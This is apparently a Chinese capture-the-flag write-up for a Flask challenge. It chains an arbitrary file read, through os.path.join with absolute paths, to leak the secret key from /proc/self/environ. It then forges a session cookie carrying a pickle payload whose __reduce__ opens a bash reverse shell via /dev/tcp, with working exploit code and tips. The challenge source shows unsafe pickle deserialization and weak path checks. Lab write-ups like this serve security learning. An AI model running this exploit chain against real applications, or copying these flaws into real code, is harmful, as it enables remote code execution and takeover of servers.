日常感谢赵总供题
访问/file?file=/app/source
获取源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})
@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"
@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)
|
通过简单的审计我们可以发现/file
路由存在任意文件读(os.path.join
函数在接收绝对路径时会抛弃前面添加的路径),剩下的考点应该是pickle反序列化RCE
/proc/self/environ
HOSTNAME=99d252572f0c
PYTHON_VERSION=3.8.2
PWD=/app
_=/usr/local/bin/python3
HOME=/root
LANG=C.UTF-8
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
FLAG=flag_not_here
SHLVL=1
PYTHON_PIP_VERSION=20.0.2
PYTHON_GET_PIP_SHA256=421ac1d44c0cf9730a088e337867d974b91bdce4ea2636099275071878cc189e
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/d59197a3c169cef378a22428a3fa99d33e080a5d/get-pip.py
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh
OLDPWD=/app
可以看到secret_key值为glzjin22948575858jfjfjufirijidjitg3uiiuuh
。知道secret_key之后就可以污染session,然后pickle反序列化RCE。这里的反序列化和普通的反序列化一样,并没有在opcode上进行过滤,所以解决办法也就是使用__reduce__
进行RCE。
注意:不清楚用class定义的类能不能在这题RCE,有兴趣的可以试一试
1
2
3
4
5
6
7
8
9
10
11
12
13
|
import pickle
from base64 import b64encode
import os
User = type('User', (object,), {
'uname': 'tyskill',
'is_admin': 0,
'__repr__': lambda o: o.uname,
# 添加__reduce__方法RCE
'__reduce__': lambda o: (os.system, ("bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'",))
})
u = pickle.dumps(User())
print(b64encode(u).decode())
|
生成之后使用flask_session_cookie_manager按照格式{'u':{'b':'base64字符串'}}
生成session替换原session访问/admin
就可以反弹shell。
坑1:
正常来说不进行base64加密,直接将{'u':b'dumps结果'}
生成session也可以RCE,这是因为代码方面他只是检查了u是否是dict,无论是不是字典都会进行loads操作,所以直接传序列化字符串也可以。不过这只适用于一些简单的命令,比如ls之类的,反弹shell的命令由于字符过于复杂,所以只能使用base64加密的字典格式。
坑2:
靶机是Linux环境,本地是Windows环境,这两个环境下dumps的结果中序列化字符串声明系统的标识符不同:Linux=>posix;Windows=>nt,需要将脚本放在Linux环境下生成序列化字符串。
有空(wp)再说